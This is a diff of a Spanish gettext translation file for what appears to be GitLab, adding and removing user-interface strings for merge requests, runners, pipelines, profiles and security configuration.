msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr "Mensaje del merge commit"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "Eventos de merge"
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr "Merge requests"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "Los merge request son un lugar para proponer los cambios que ha realizado en un proyecto y discutir esos cambios con otros miembros"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr "Los merge requests son de solo lectura en un Geo nodo secundario"
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr "Añadir clave SSH"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "No mostrar de nuevo"
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr "Algo salió mal, se ha producido un error al actualizar la política"
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr "Algo salió mal, se ha producido un error al obtener las políticas"
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Nueva solicitud de fusión"
msgid "New milestone"
msgstr "Nuevo hito"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "Nueva contraseña"
@@ -23036,6 +23391,9 @@ msgstr "¡Se ha generado el token de registro para los nuevos ejecutores!"
msgid "New schedule"
msgstr "Nueva programación"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Nuevo fragmento de código"
@@ -23231,6 +23589,9 @@ msgstr "No se han encontrado archivos."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "No se han encontrado merge requests"
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "No hay grupos públicos"
@@ -23345,6 +23715,9 @@ msgstr "No se encontraron ejecutores"
msgid "No schedules"
msgstr "No hay programaciones"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr "No está disponible para ramas protegidas"
msgid "Not confidential"
msgstr "No es confidencial"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr "No encontrado."
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] "Un elemento más"
msgstr[1] "%d elementos más"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr "Uno o más grupos a los que no tiene acceso."
@@ -24056,6 +24444,9 @@ msgstr "Solo los administradores pueden borrar un proyecto"
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr "Abierta"
msgid "Open Selection"
msgstr "Abrir la selección"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr "El tipo de paquete debe ser Maven"
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr "El tipo de paquete debe ser NuGet"
@@ -24691,6 +25088,9 @@ msgstr "Página no encontrada"
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Contraseña"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "Contraseña (opcional)"
@@ -25042,6 +25439,12 @@ msgstr "Pipeline %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr "Pipeline %{label} para \"%{dataTitle}\""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr "Creado"
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr "Fecha"
@@ -25504,9 +25907,6 @@ msgstr "Fallido"
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr "Clave"
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,12 +25997,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr "Disparador"
-msgid "Pipeline|Value"
-msgstr "Valor"
-
msgid "Pipeline|Variables"
msgstr "Variables"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr ""
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr "Por favor, introduzca un número válido"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr "Por favor, migre todos los proyectos existentes al almacenamiento hashea
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr "Por favor, tenga en cuenta que esta aplicación no la proporciona GitLab y deberá verificar su autenticidad antes de permitir su acceso."
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr "Por favor, proporcione un nombre"
@@ -26011,8 +26411,8 @@ msgstr "Presione %{key}-C para copiar"
msgid "Prev"
msgstr "Previo"
-msgid "Prevent adding new members to project membership within this group"
-msgstr "Impedir que se añadan nuevos miembros al proyecto dentro de este grupo"
+msgid "Prevent adding new members to projects within this group"
+msgstr ""
msgid "Prevent auto-stopping"
msgstr ""
@@ -26293,8 +26693,8 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr "No mostrar en el perfil"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "No mostrar información personal relacionada con su actividad en sus perfiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Editar perfil"
@@ -26314,15 +26714,15 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
+msgid "Profiles|Expiration date"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
msgid "Profiles|Expired:"
msgstr "Expirado:"
-msgid "Profiles|Expires at"
-msgstr "Caduca el"
-
msgid "Profiles|Expires:"
msgstr "Caduca:"
@@ -26362,13 +26762,16 @@ msgstr "Nombre de usuario inválido"
msgid "Profiles|Key"
msgstr "Clave"
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr "Hito del proyecto"
msgid "Project name"
msgstr "Nombre del proyecto"
-msgid "Project name suffix"
-msgstr "Sufijo del nombre del proyecto"
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr "Favoritos"
msgid "ProjectOverview|Unstar"
msgstr "Desmarcar como favorito"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "Ha alcanzado el límite de su proyecto"
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr "Comprobaciones de Merge"
msgid "ProjectSettings|Merge commit"
msgstr "Merge commit"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr "Merge commit con historial semi-lineal"
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr "Fragmentos de código"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr "Proyectos con vulnerabilidades medias"
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr "Proyectos sin vulnerabilidades y escaneo de seguridad habilitado"
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr "Proyectos con acceso de escritura"
@@ -27577,6 +28001,9 @@ msgstr "Promocionar"
msgid "Promote issue to an epic"
msgstr "Promocionar la incidencia a una tarea épica"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr "Ha fallado la promoción - %{message}"
msgid "Promoted issue to an epic."
msgstr "Incidencia promocionada a tarea épica."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr "Público - El proyecto puede ser accedido sin ninguna autenticación."
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr "Claves de despliegue público (%{deploy_keys_count})"
@@ -28120,6 +28556,9 @@ msgstr "Vea el proyecto %{project_full_name}"
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr "Número total de commits: %{total_commits_count}"
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "Trimestres"
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr "Recibe alertas desde los servidores de Prometheus configurados manualmente."
@@ -28335,9 +28780,6 @@ msgstr "La regeneración del id de una instancia puede interrumpir la integraciÃ
msgid "Regex pattern"
msgstr "Patrón regex"
-msgid "Region that Elasticsearch is configured"
-msgstr "Región a la que está configurado Elasticsearch"
-
msgid "Register"
msgstr "Registro"
@@ -28505,6 +28947,9 @@ msgstr "Eliminar %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Eliminar la reunión de Zoom"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr "Eliminar el usuario asignado"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Eliminar avatar"
@@ -28541,6 +28989,12 @@ msgstr "Eliminar la tarjeta"
msgid "Remove child epic from an epic"
msgstr "Eliminar la tarea épica hija de una tarea épica"
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr "Eliminado %{milestone_reference} hitos."
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr "Eliminado %{type} con id %{id}"
-
msgid "Removed all labels."
msgstr "Eliminar todas las etiquetas."
msgid "Removed an issue from an epic."
msgstr "Se eliminó la incidencia de la tarea épica."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr "¡No se puede restaurar un grupo eliminado!"
@@ -28682,6 +29136,9 @@ msgstr "Eliminada la fecha de vencimiento."
msgid "Removed time estimate."
msgstr "Eliminado el tiempo estimado."
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr "Volver a abrir"
msgid "Reopen %{issueType}"
msgstr "Reabrir %{issueType}"
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Reabrir la tarea épica"
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr "Reemplazar"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr "Última actualización"
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "Solicitar acceso"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr "Solicitado %{time_ago}"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "Se ha añadido el requisito %{reference}"
@@ -29213,6 +29697,9 @@ msgstr "Reiniciar la clave de autorización"
msgid "Reset authorization key?"
msgstr "¿Reiniciar la clave de autorización?"
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr "Página de ejecutores."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "Ha utilizado %{quotaUsed} de %{quotaLimit} de sus minutos de ejecución de pipelines con Runners compartidos."
+msgid "Runners|active"
+msgstr ""
+
msgid "Runners|group"
msgstr "grupo"
-msgid "Runners|instance"
+msgid "Runners|locked"
msgstr ""
-msgid "Runners|locked"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Seguridad"
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr "Estado"
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr "Seleccione la rama"
